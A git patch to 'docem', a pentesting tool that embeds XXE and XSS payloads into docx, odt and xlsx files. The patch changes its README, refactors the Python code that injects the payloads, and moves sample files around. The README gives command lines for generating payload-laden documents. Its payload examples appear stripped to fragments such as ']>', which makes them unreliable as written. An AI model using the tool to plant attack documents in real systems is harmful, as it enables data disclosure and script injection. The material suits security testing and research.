From 59db436045fcee10f5e733ef543fdbfde612964a Mon Sep 17 00:00:00 2001 From: whitel1st Date: Sun, 28 Jan 2024 15:41:50 +0100 Subject: [PATCH] Simplify. Major remake (#4) * Adding basic classes * Embed logic added * Works up to injecting * Adding comments * per_document works * per_document rewritten and enhanced. embed_files re-designed * per_place and per_file is working * Documentation improved. Samples tested. Samples folder has been changed. --- .gitignore | 5 +- .vscode/launch.json | 24 + README.md | 66 +- docem.py | 981 ++++++++---------- payloads/xxe_special_6.txt | 4 +- requirements.txt | 1 - .../[Content_Types].xml | 2 + .../clear/example_wpsoffice_docx/_rels/.rels | 2 + .../customXml/_rels/item1.xml.rels | 2 + .../customXml/item1.xml | 0 .../customXml/itemProps1.xml | 2 + .../example_wpsoffice_docx/docProps/app.xml | 2 + .../example_wpsoffice_docx/docProps/core.xml | 2 + .../docProps/custom.xml | 2 + .../word/_rels/document.xml.rels | 2 + .../example_wpsoffice_docx/word/document.xml | 2 + .../example_wpsoffice_docx/word/fontTable.xml | 2 + .../example_wpsoffice_docx/word/settings.xml | 2 + .../example_wpsoffice_docx/word/styles.xml | 2 + .../word/theme/theme1.xml | 2 + .../docx_sample_oxml_xxe/[Content_Types].xml | 0 .../docx_sample_oxml_xxe/_rels/.rels | 0 .../docx_sample_oxml_xxe/docProps/app.xml | 0 .../docx_sample_oxml_xxe/docProps/core.xml | 0 .../word/_rels/document.xml.rels | 0 .../docx_sample_oxml_xxe/word/document.xml | 0 .../docx_sample_oxml_xxe/word/fontTable.xml | 0 .../docx_sample_oxml_xxe/word/settings.xml | 0 .../docx_sample_oxml_xxe/word/styles.xml | 0 .../word/stylesWithEffects.xml | 0 .../word/theme/theme1.xml | 0 .../docx_sample_oxml_xxe/word/webSettings.xml | 0 .../[Content_Types].xml | 0 .../docx_sample_oxml_xxe_mod0/_rels/.rels | 0 .../docProps/app.xml | 0 .../docProps/core.xml | 0 .../word/_rels/document.xml.rels | 0 .../word/document.xml | 0 .../word/fontTable.xml | 0 .../word/settings.xml | 0 .../docx_sample_oxml_xxe_mod0/word/styles.xml | 0 .../word/stylesWithEffects.xml | 0 .../word/theme/theme1.xml | 0 .../word/webSettings.xml | 0 .../[Content_Types].xml | 0 .../docx_sample_oxml_xxe_mod1/_rels/.rels | 0 .../docProps/app.xml | 0 .../docProps/core.xml | 0 .../word/_rels/document.xml.rels | 0 .../word/document.xml | 0 .../word/fontTable.xml | 0 .../word/settings.xml | 0 .../docx_sample_oxml_xxe_mod1/word/styles.xml | 0 .../word/stylesWithEffects.xml | 0 .../word/theme/theme1.xml | 0 .../word/webSettings.xml | 0 samples/{xxe => marked}/sample_oxml_xxe.docx | Bin .../{xxe => marked}/sample_oxml_xxe_mod0.docx | Bin .../{xxe => marked}/sample_oxml_xxe_mod1.docx | Bin .../{xxe => marked}/xlsx_created_in_wps.xlsx | Bin .../xlsx_created_in_wps/[Content_Types].xml | 0 .../xlsx_created_in_wps/_rels/.rels | 0 .../xlsx_created_in_wps/docProps/app.xml | 0 .../xlsx_created_in_wps/docProps/core.xml | 0 .../xlsx_created_in_wps/docProps/custom.xml | 0 .../xl/_rels/workbook.xml.rels | 0 .../xlsx_created_in_wps/xl/sharedStrings.xml | 0 .../xlsx_created_in_wps/xl/styles.xml | 0 .../xlsx_created_in_wps/xl/theme/theme1.xml | 0 .../xlsx_created_in_wps/xl/workbook.xml | 0 .../xl/worksheets/sheet1.xml | 0 .../{xxe => marked}/xlsx_created_in_wps2.xlsx | Bin .../[Content_Types].xml | 0 .../xlsx_created_in_wps2_basic/_rels/.rels | 0 .../docProps/app.xml | 0 .../docProps/core.xml | 0 .../docProps/custom.xml | 0 .../xl/_rels/workbook.xml.rels | 0 .../xl/sharedStrings.xml | 0 .../xlsx_created_in_wps2_basic/xl/styles.xml | 0 .../xl/theme/theme1.xml | 0 .../xl/workbook.xml | 0 .../xl/worksheets/sheet1.xml | 0 samples/xss/docx/xss_sample_0.docx | Bin 11590 -> 0 bytes .../xss_sample_0_docx/[Content_Types].xml | 2 - .../xss/docx/xss_sample_0_docx/_rels/.rels | 2 - .../customXml/_rels/item1.xml.rels | 2 - .../customXml/itemProps1.xml | 2 - .../docx/xss_sample_0_docx/docProps/app.xml | 2 - .../docx/xss_sample_0_docx/docProps/core.xml | 2 - .../xss_sample_0_docx/docProps/custom.xml | 2 - .../word/_rels/document.xml.rels | 2 - .../docx/xss_sample_0_docx/word/document.xml | 2 - .../docx/xss_sample_0_docx/word/fontTable.xml | 2 - .../docx/xss_sample_0_docx/word/settings.xml | 2 - .../docx/xss_sample_0_docx/word/styles.xml | 2 - .../xss_sample_0_docx/word/theme/theme1.xml | 2 - samples/xss/docx/xss_sample_0_wo_magic.docx | Bin 11007 -> 0 bytes samples/xxe/xlsx_created_in_wps2.zip | Bin 8429 -> 0 bytes 99 files changed, 533 insertions(+), 600 deletions(-) create mode 100644 .vscode/launch.json create mode 100644 samples/clear/example_wpsoffice_docx/[Content_Types].xml create mode 100644 samples/clear/example_wpsoffice_docx/_rels/.rels create mode 100644 samples/clear/example_wpsoffice_docx/customXml/_rels/item1.xml.rels rename samples/{xss/docx/xss_sample_0_docx => clear/example_wpsoffice_docx}/customXml/item1.xml (100%) mode change 100755 => 100644 create mode 100644 samples/clear/example_wpsoffice_docx/customXml/itemProps1.xml create mode 100644 samples/clear/example_wpsoffice_docx/docProps/app.xml create mode 100644 samples/clear/example_wpsoffice_docx/docProps/core.xml create mode 100644 samples/clear/example_wpsoffice_docx/docProps/custom.xml create mode 100644 samples/clear/example_wpsoffice_docx/word/_rels/document.xml.rels create mode 100644 samples/clear/example_wpsoffice_docx/word/document.xml create mode 100644 samples/clear/example_wpsoffice_docx/word/fontTable.xml create mode 100644 samples/clear/example_wpsoffice_docx/word/settings.xml create mode 100644 samples/clear/example_wpsoffice_docx/word/styles.xml create mode 100644 samples/clear/example_wpsoffice_docx/word/theme/theme1.xml rename samples/{xxe => marked}/docx_sample_oxml_xxe/[Content_Types].xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/_rels/.rels (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/docProps/app.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/docProps/core.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/_rels/document.xml.rels (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/document.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/fontTable.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/settings.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/styles.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/stylesWithEffects.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/theme/theme1.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe/word/webSettings.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/[Content_Types].xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/_rels/.rels (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/docProps/app.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/docProps/core.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/_rels/document.xml.rels (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/document.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/fontTable.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/settings.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/styles.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/stylesWithEffects.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/theme/theme1.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod0/word/webSettings.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/[Content_Types].xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/_rels/.rels (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/docProps/app.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/docProps/core.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/_rels/document.xml.rels (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/document.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/fontTable.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/settings.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/styles.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/stylesWithEffects.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/theme/theme1.xml (100%) rename samples/{xxe => marked}/docx_sample_oxml_xxe_mod1/word/webSettings.xml (100%) rename samples/{xxe => marked}/sample_oxml_xxe.docx (100%) rename samples/{xxe => marked}/sample_oxml_xxe_mod0.docx (100%) rename samples/{xxe => marked}/sample_oxml_xxe_mod1.docx (100%) rename samples/{xxe => marked}/xlsx_created_in_wps.xlsx (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/[Content_Types].xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/_rels/.rels (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/docProps/app.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/docProps/core.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/docProps/custom.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/xl/_rels/workbook.xml.rels (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/xl/sharedStrings.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/xl/styles.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/xl/theme/theme1.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/xl/workbook.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps/xl/worksheets/sheet1.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2.xlsx (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/[Content_Types].xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/_rels/.rels (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/docProps/app.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/docProps/core.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/docProps/custom.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/xl/_rels/workbook.xml.rels (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/xl/sharedStrings.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/xl/styles.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/xl/theme/theme1.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/xl/workbook.xml (100%) rename samples/{xxe => marked}/xlsx_created_in_wps2_basic/xl/worksheets/sheet1.xml (100%) delete mode 100755 samples/xss/docx/xss_sample_0.docx delete mode 100755 samples/xss/docx/xss_sample_0_docx/[Content_Types].xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/_rels/.rels delete mode 100755 samples/xss/docx/xss_sample_0_docx/customXml/_rels/item1.xml.rels delete mode 100755 samples/xss/docx/xss_sample_0_docx/customXml/itemProps1.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/docProps/app.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/docProps/core.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/docProps/custom.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/word/_rels/document.xml.rels delete mode 100755 samples/xss/docx/xss_sample_0_docx/word/document.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/word/fontTable.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/word/settings.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/word/styles.xml delete mode 100755 samples/xss/docx/xss_sample_0_docx/word/theme/theme1.xml delete mode 100755 samples/xss/docx/xss_sample_0_wo_magic.docx delete mode 100644 samples/xxe/xlsx_created_in_wps2.zip diff --git a/.gitignore b/.gitignore index e7000fa..17a1afc 100755 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,5 @@ tmp/* -tmp* \ No newline at end of file +tmp* +.venv +venv +jaunch.json \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..cf60aee --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,24 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Python: Current File", + "type": "python", + "request": "launch", + "program": "${file}", + "console": "integratedTerminal", + "args": [ + "-s","samples/marked/sample_oxml_xxe_mod1.docx", + "-pt","xss", + "-pf","payloads/xss_tiny.txt", + "-pm","per_document", + "-sx","docx" + ], + + "justMyCode": true + } + ] +} \ No newline at end of file diff --git a/README.md b/README.md index 2fe3a9f..04a65a8 100755 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ _| _| _| _| _| _|_|_|_| _| _| _| _| _| _| _| _| _| _| _| _| _|_|_| _|_| _|_|_| _|_|_| _| _| _| -version 1.3 +version 1.5 ``` @@ -19,7 +19,7 @@ This tool is a side-project of a colloborative research of document's internal s A lot of common document formats, such as doc,docx,odt,etc are just a zip files with a few xml files inside. -![diag0](https://github.com/whitel1st/docem/blob/master/pics/diag0.png "diag0") +![diag0](pics/diag0.png "diag0") So why don't we try to embed XXE payloads in them? That was done in a great [research](http://oxmlxxe.github.io/reveal.js/slides.html#/) by Will Vandevanter (`_will_is`) @@ -34,15 +34,15 @@ Also there are three different types of `payload_type` - every type determines h Every `payload_type` described in a section `Usage`. Here is a small scheme of how this works: -![diag1](https://github.com/whitel1st/docem/blob/master/pics/diag1.png "diag1") +![diag1](pics/diag1.png "diag1") Payload modes -![diag2](https://github.com/whitel1st/docem/blob/master/pics/diag2.png "diag1") +![diag2](pics/diag2.png "diag1") Programm interface -![screenshot](https://github.com/whitel1st/docem/blob/master/pics/screenshot.png "screenshot") +![screenshot](pics/screenshot.png "screenshot") ## Install @@ -60,32 +60,33 @@ python3 docem.py --help - required args - `-s` - path to a `sample file` or a `sample directory`. That sample will be used to create a document with an attacking vector. - - `-pm` - payload mode + - `-pt` - payload type - `xss` - XSS - Cross Site Scripting - `xxe` - XXE - External XML Entity - optional - - `-pt` - payload type + - `-pm` - payload mode - `per_document` - (default mode) for every payload, embed payload in all places in all files and create new document - `per_file` - for every payload, for every file inside a document, for all places inside a file embed a payload and create a new document - `per_place` - for every payload, for every place in every file, embed a payload and create a new doc - `-pf` - payload file - - `-kt` - do not delete temp folders in a `tmp/` - `-sx ` - sample extension - used when sample is a directory - `-h` - print help Examples ```bash -./docem.py -s samples/xxe/docx_sample_oxml_xxe_mod0/ -pm xss -pf payloads/xxe_special_6.txt -pt per_document -kt -sx docx -./docem.py -s samples/xxe/docx_sample_oxml_xxe_mod1/ -pm xss -pf payloads/xxe_special_1.txt -pt per_file -kt -sx docx -./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place -./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place +./docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xxe -pf payloads/xxe_special_6.txt -pm per_document -sx docx +./docem.py -s samples/marked/docx_sample_oxml_xxe_mod1/ -pt xxe -pf payloads/xxe_special_1.txt -pm per_file -sx docx +./docem.py -s samples/marked/sample_oxml_xxe_mod1.docx -pt xxe -pf payloads/xxe_special_2.txt -pm per_place +./docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xss -pf payloads/xss_tiny.txt -pm per_place -sx docx ``` -An equivalent to a `docx` file created by oxml_xxe -``` -./docem.py -s samples/xxe/docx_sample_oxml_xxe_mod0/ -pm xss -pf payloads/xxe_special_6.txt -pt per_document -kt -sx docx +An equivalent to a `docx` file created by `oxml_xxe`. The command bellow will create docx files with embedded XXE payloads. +```bash +./docem.py -s samples/marked/docx_sample_oxml_xxe_mod0/ -pt xss -pf payloads/xxe_special_6.txt -pm per_document -sx docx ``` +Tool output is saved under `./tmp/` folder + ## How to create custom sample @@ -93,41 +94,44 @@ An equivalent to a `docx` file created by oxml_xxe ### Via new folder sample -1. Unzip your document `example.docx` to a folder `example/` +1. Unzip your document `new_sample_from_folder.docx` to a folder `new_sample_from_folder/` or use already existing clear sample by coping it from `samples/clear/` to `samples/marked/new_sample_from_folder/` 2. Add magic symbols - `XXCb8bBA9XX` (depicted as `፨` in illustrations of this readme) in places where you want payloads to be embedded -3. Use new sample with the tool as `-s samples/example/ -sx docx` +3. Use new sample with the tool as `-s samples/new_sample_from_folder/ -sx docx` ### Via new file sample -1. Unzip your document `example.docx` to a folder `example/` -2. Add magic symbols - `XXCb8bBA9XX` - (depicted as `፨` in illustrations of this readme) in places where you want payloads to be embedded -3. Zip your new sample into `example_modified0.zip` -4. Rename extension - `example_modified0.docx` -5. Use new sample with the tool as `-s samples/example_modified0.docx` +1. Add magic symbols (`XXCb8bBA9XX`) to various places in you custom document `new_sample.docx` +2. Use new sample as `-s new_sample.docx` + +## Payload file formats used in the tool -## File with payloads format +### XSS payloads -A small documentation to add your custom payloads +Format: TXT file that contains list strings. Example: +``` + + +``` ### XXE payloads -**Special format** +Tools uses **Special format** for XXE payloads. If you want to add additional payloads, please use an example bellow as a reference. + +Format: TXT file that contains list dictionaries. Example -String from a file -`{"vector":"]>","reference":"&xxe_canary_0;"}` +``` +{"vector":"]>","reference":"&xxe_canary_0;"} +{"vector":"]>","reference":"&xxe_canary_2;"} +``` - `vector` - required key word - script will be searching for it - `]>` - payload. Warning all double quotation marks `"` must be escaped with one backslash `\` => `\"` - `reference` - required key word - script will be searching for it - `&xxe_canary_0;` - reference that will be add in all places with magic symbol -### XSS payloads - -No special format. -Just a file with strings. As if you would use it in any other tool. ## Features and ToDo diff --git a/docem.py b/docem.py index 79bee8a..d676969 100755 --- a/docem.py +++ b/docem.py @@ -5,416 +5,403 @@ import json import uuid import argparse -# To create random refernces to XXE -import string -import random -# To work with XXE payloads import json -import time +import copy +import re -from lxml import etree, objectify -def make_tmp_clean_again(paths, mode): +""" +Class that contains the list of payloads +""" +class Payloads: + list = [] - if mode == 'original': - if os.path.exists(paths['path_to_unzipped_folder_original']): - shutil.rmtree(paths['path_to_unzipped_folder_original']) + def _readfile(self, path_to_file: str) -> list: + if os.path.exists(path_to_file): + with open(path_to_file, 'r') as file: + file_as_array = file.read().splitlines() + else: + raise Exception + + return(file_as_array) + - if os.path.exists(paths['path_to_copied_file']): - os.remove(paths['path_to_copied_file']) + def __init__(self, path_to_file: str, ptype: str): + lines = self._readfile(path_to_file) + for l in lines: + if ptype == 'xxe': + try: + p = json.loads(l) + except Exception as e: + print(f'\n! Error: {e}') + print(f'\nLooks like payload file is not properly formatted') + print(f'Please check that you are using apropriate payload_type with appropriate payload format:\n\t-pt xss means that list of payloads is just a list;\n\t-pt xxe means that payload file is a list of dictionaries;\n') + raise + elif ptype == 'xss': + p = {'reference':l} + self.list.append(p) + +""" +Class that contains the provided sample +which will be used for the injection +""" +class Sample: + # Path to a main sample file or dir + sample_path = '' + is_sample_folder = None + + + # embed_files - a dictionary that stores a list + # of files that contain magic_symbols + # key - path to a file + # value - array of indices where magic_symbols are present + # embed_files = { + # 'app.xml':[1,32,423], + # 'core/file.xml':[32,423], + # 'ref/new/test.xml':[5], + # } + # To Do change it to a struct + embed_files = {} + embed_count_places = 0 + + """ + Mostly prepares a bunch of paths + that will be used throughout the programm + """ + def __init__(self, sample_path: str) -> None: + self.sample_path = sample_path + + # Creates tmp in the current folder + self.tmp_folder_path = f'{os.path.dirname(__file__)}/tmp/' + self._create_tmp() + + self.is_sample_folder = os.path.isdir(self.sample_path) + self.sample_file_name = '' + + if self.is_sample_folder: + # If path was set as 'samples/xxe/sample_oxml_xxe_mod1/' + if len(self.sample_path) - 1 == self.sample_path.rfind('/'): + self.sample_path = self.sample_path[:-1] + + self.sample_file_name = self.sample_path.split('/')[-1] + self.sample_file_ext = args.sample_extension + + self.copied_file_path = '' - elif mode == 'copy': + else: + # Create separate variables for an original file + self.sample_file_name = self.sample_path.split('/')[-1].split('.')[0] + self.sample_file_ext = self.sample_path.split('/')[-1].split('.')[1] - if os.path.exists(paths['path_to_unzipped_folder_modified']): - shutil.rmtree(paths['path_to_unzipped_folder_modified']) + self.copied_file_path = f'{self.tmp_folder_path}{self.sample_file_name}.zip' + + # create variables for unzipped files + self.unzipped_folder_path = f'{self.tmp_folder_path}{self.sample_file_name}_{self.sample_file_ext}/' + - if os.path.exists(paths['path_to_modified_file']): - os.remove(paths['path_to_modified_file']) -# STEP 0 -def document_prepare_initial_paths(path_to_file): + # Creates tmp folder if it does not exist + def _create_tmp(self) -> None: + if not os.path.exists(self.tmp_folder_path): + os.mkdir(self.tmp_folder_path) - path_to_script = os.path.dirname(os.path.relpath(__file__)) - path_to_tmp = path_to_script + '/tmp/' + def _delete_folder(self, folder_path: str, keep_folder: bool = False) -> None: + if os.path.exists(folder_path): + shutil.rmtree(folder_path) - # That hack needed because I switched from full paths - # to relevant; but I still want to have ability to use full paths - # What it does is: if path_to_script = '' than we need to remove first - # slash fro path_to_tmp - # but it might break something - if path_to_tmp.find('tmp') == 1: path_to_tmp = 'tmp/' + if keep_folder: + os.mkdir(folder_path) - # Determine whether supplied path is a path to dir - sample_type_is_folder = os.path.isdir(path_to_file) - if sample_type_is_folder: - # Check that sample_type is set - # (Very dumb place for a check) - if not args.sample_extension and sample_type_is_folder: - print('\nError: You have to specify sample_type (example: -sx docx) when using sample from directory') + """ + Copy sample file/folder to the tmp location + If a sample is a file - zip extract + """ + def unpack(self): + # Sample is a folder + if self.is_sample_folder: + self._copy_folder( + src = self.sample_path, + dst = self.unzipped_folder_path + ) + # Sample is a file + else: + self._copy_file( + src = self.sample_path, + dst = self.copied_file_path + ) + shutil.unpack_archive( + filename = self.copied_file_path, + extract_dir = self.unzipped_folder_path) + + """ + Copy file from src to dst + """ + def _copy_file(self, src: str, dst: str) -> None: + shutil.copy(src = src, dst = dst) + + """ + Copy file from src to dst + """ + def _copy_folder(self, src: str, dst:str) -> None: + shutil.copytree(src = src, dst = dst) + + """ + Finds all places where payloads will be embedded. + Saves them in a class variable. + Variable is a list of dicts that contain + path - path to a file + places - indexes in a file where to embed + counts - total number of + payload will be embedded + """ + def find_embedding_points(self) -> None: + print('Searching for magic_symbols in a sampled file/dir') + for root, dirs, files in os.walk( + self.unzipped_folder_path, topdown = False): + for file in files: + if file.endswith(magic_file_extensions): + file_fullpath = f'{root}/{file}' + with open(file_fullpath, 'r') as f: + file_in_sample = f.read() + + if file_in_sample.count(magic_symbol): + # to_embed = { + # 'filepath' : file_fullpath, + # 'places' : [i for i in range(len(file_in_sample)) if file_in_sample.startswith(magic_symbol, i)], + # # 'content' : file_in_sample + # } + # Add a file and a list of indices with magic symbols to the list + places = [i for i in range(len(file_in_sample)) if file_in_sample.startswith(magic_symbol, i)] + file_path = file_fullpath.replace(self.unzipped_folder_path,'') + self.embed_files[file_path] = places + + self.embed_count_places += len(places) + print(f'{len(places)} symbols in {file_path}') + print() + + """ + Print a message to a user about a number + of files that would be created + """ + def ask_to_confirm_docs_creation(self, pmod, payloads): + print(f'{len(self.embed_files)} potential files to embed') + print(f'{self.embed_count_places} potential places to embed (as a sum of number of symbols)') + + modifier = 0 + if pmod == 'per_document': + modifier = 1 + elif pmod == 'per_file': + modifier = len(self.embed_files) + elif pmod == 'per_place': + modifier = self.embed_count_places + + num_of_files= len(payloads) * modifier + + print(f'modifier = {modifier}. Based on selected -pm {pmod}') + print(f'\nFiles to be created = number_of_payloads * modifier = {len(payloads)} * {modifier} = {num_of_files}') + + # For debug + # To be sure that you want to create that amount of documents + answer = input('\nContinue?(y/n): ') + if answer == 'n': + self._delete_folder(self.tmp_folder_path) exit() - # If path was set as 'samples/xxe/sample_oxml_xxe_mod1/' - if len(path_to_file) - 1 == path_to_file.rfind('/'): - path_to_file = path_to_file[:-1] - # If path was set as 'samples/xxe/sample_oxml_xxe_mod1' - # do nothing - # samples/xxe/sample_oxml_xxe_mod1 - is our format - - original_file_name = path_to_file.split('/')[-1] - original_file_ext = args.sample_extension - - path_to_copied_file = '' - - else: - - # Create separate variables for an original file - original_file_name = path_to_file.split('/')[-1].split('.')[0] - original_file_ext = path_to_file.split('/')[-1].split('.')[1] - - # create variables for a copied files - path_to_copied_file = path_to_tmp + original_file_name + '.zip' - - # create variables for an unzipped files - unzipped_file_name = original_file_name + '_' + original_file_ext - path_to_unzipped_folder_original = path_to_tmp + unzipped_file_name + '/' - - - paths_and_names = { - "path_to_script" : path_to_script, - "path_to_tmp" : path_to_tmp, - "path_to_orignal_file" : path_to_file, - "path_to_copied_file" : path_to_copied_file, - "path_to_unzipped_folder_original" : path_to_unzipped_folder_original, - "path_to_unzipped_folder_modified" : path_to_unzipped_folder_original, - "original_file_name" : original_file_name, - "original_file_ext" : original_file_ext, - "unzipped_file_name" : unzipped_file_name, - "modified_file_name" : original_file_name, - "path_to_modified_file" : '', - "sample_type_is_folder" : sample_type_is_folder - } - #print(paths_and_names) - return(paths_and_names) - -# Prepare path where document will be unzipped -def docuemnt_prepare_future_paths(paths, payload_type, payload_key, single_place='', offset=''): + """ + Inject payload header for XXE payloads + for XSS payloads - do nothing + """ + def _inject_header(self, ptype:str, payload: dict, file_content: str) -> str: + if ptype == 'xxe': + # Ending with finding where to place + # payload with + + offset_xml_start = file_content.find(' None: + # Shutil adds .zip + # To avoid .zip.zip we strip it + if dst_archive_path.endswith('.zip'): + index = dst_archive_path.rfind('.zip') + dst_archive_path = dst_archive_path[:index] -# copy, rename and unzip -def document_unpack(paths): + shutil.make_archive( + base_name = dst_archive_path, + root_dir = src_folder_path, + format='zip' + ) - # If sample is a folder - if paths['sample_type_is_folder']: - shutil.copytree(paths["path_to_orignal_file"],paths["path_to_unzipped_folder_original"]) - # If sample is a .docx or smth - else: - # copy original file into script_script/dir and rename extension to .zip - shutil.copy(paths["path_to_orignal_file"],paths["path_to_copied_file"]) - # unzip renamed file into direc - shutil.unpack_archive(paths["path_to_copied_file"],paths["path_to_unzipped_folder_original"]) - # debug - #print(paths["path_to_unzipped_folder_original"]) + + def _rename_object(self, src: str, dst: str) -> None: + os.rename(src=src, dst=dst) -def document_tree_generate(paths, opt=1): - files_inside_unpacked_dir = {} - for root, dirs, files in os.walk(paths["path_to_unzipped_folder_original"], topdown = False): - for full_name in files: - #print(os.path.join(root, name)) - - path_to_file = os.path.join(root, full_name) - path_in_tmp = path_to_file.replace(paths["path_to_unzipped_folder_original"],'') - - # Remove extension from file - full_name_extension_offset = full_name.rfind('.') - if full_name_extension_offset != -1: - name_without_extension = full_name[:full_name.rfind('.')].replace('.','_') + """ + Prepare paths for a new file that + will have specif injection + pmode: payload_mode + ptype: payload_type + pfile: payload file - used for pmode = per_file + pplace: payload file - used for pmode = per_file / per_place + """ + def __prepare_paths_for_injected_file(self, suffix_run:str, pmode:str, ptype:str, pfile: str = '', pplace: int = None) -> None: + if pfile or pplace: + pfile = pfile[pfile.rfind('/') + 1:].replace('.','_') + pfile = re.sub('[\[\]]','',pfile) + if pplace: + final_file_name_core = f'{self.sample_file_name}-{pmode}_{ptype}_{suffix_run}_{pfile}_{pplace}' else: - name_without_extension = full_name - - #full_name = full_name.replace('.','_') - #print('\nfull_name',full_name) - # Construct future key_name for an array of files inside a document - key_name = '%s_%s'%(root, name_without_extension) - # Remove path to a docuemnt and strip '_' symbol for those docuemnts that lies in a root of a docuemnt - #print('key_name',key_name) - #print('key_name',key_name.replace(paths["path_to_unzipped_folder_original"],'')) - #key_name = key_name.replace(paths["path_to_unzipped_folder_original"],'').lstrip('_') - key_name = key_name.replace(paths["path_to_unzipped_folder_original"],'') - #print('key_name',key_name) - - files_inside_unpacked_dir[key_name] = {'path': path_to_file, 'path_in_tmp': path_in_tmp} - - return(files_inside_unpacked_dir) - - -# Add tmp paths of copied unzipped tmp document -# to tree_embedding -def document_tree_embedding_append_mod_paths(paths, tree_embedding): - - n = 'document_tree_embedding_append' - - #print(n,'path_to_modified_file', paths['path_to_modified_file']) - #print(n,'path_to_unzipped_folder_modified', paths['path_to_unzipped_folder_modified']) - - for file_to_embed in tree_embedding.keys(): - tree_embedding[file_to_embed]['tmp_mod_path'] = paths['path_to_unzipped_folder_modified'] + tree_embedding[file_to_embed]['path_in_tmp'] - #print(tree_embedding[file_to_embed]['tmp_mod_path']) - - -# Meta function -# for all possbile embeddings -def document_embed_payloads(payload_mode,payload_type,single_file_dict, payload_single, magic_symbol,offset_in_single_file = 0): - - - # payload_mode - # payload_type - # tree_embedding[single_file_key] = single_file_dict - # tree_embedding[single_file_key]['tmp_mod_path'] - # tree_embedding[single_file_key]['content'] - # magic_symbol - # payloads[single_payload_key] = payload_single - # offset_in_single_file = offset_in_single_file - + final_file_name_core = f'{self.sample_file_name}-{pmode}_{ptype}_{suffix_run}_{pfile}' + else: + final_file_name_core = f'{self.sample_file_name}-{pmode}_{ptype}_{suffix_run}' + - if payload_mode == 'xss': - with open(single_file_dict['tmp_mod_path'],'w') as single_file: + self.final_file_folder = f'{self.tmp_folder_path}{final_file_name_core}/' + 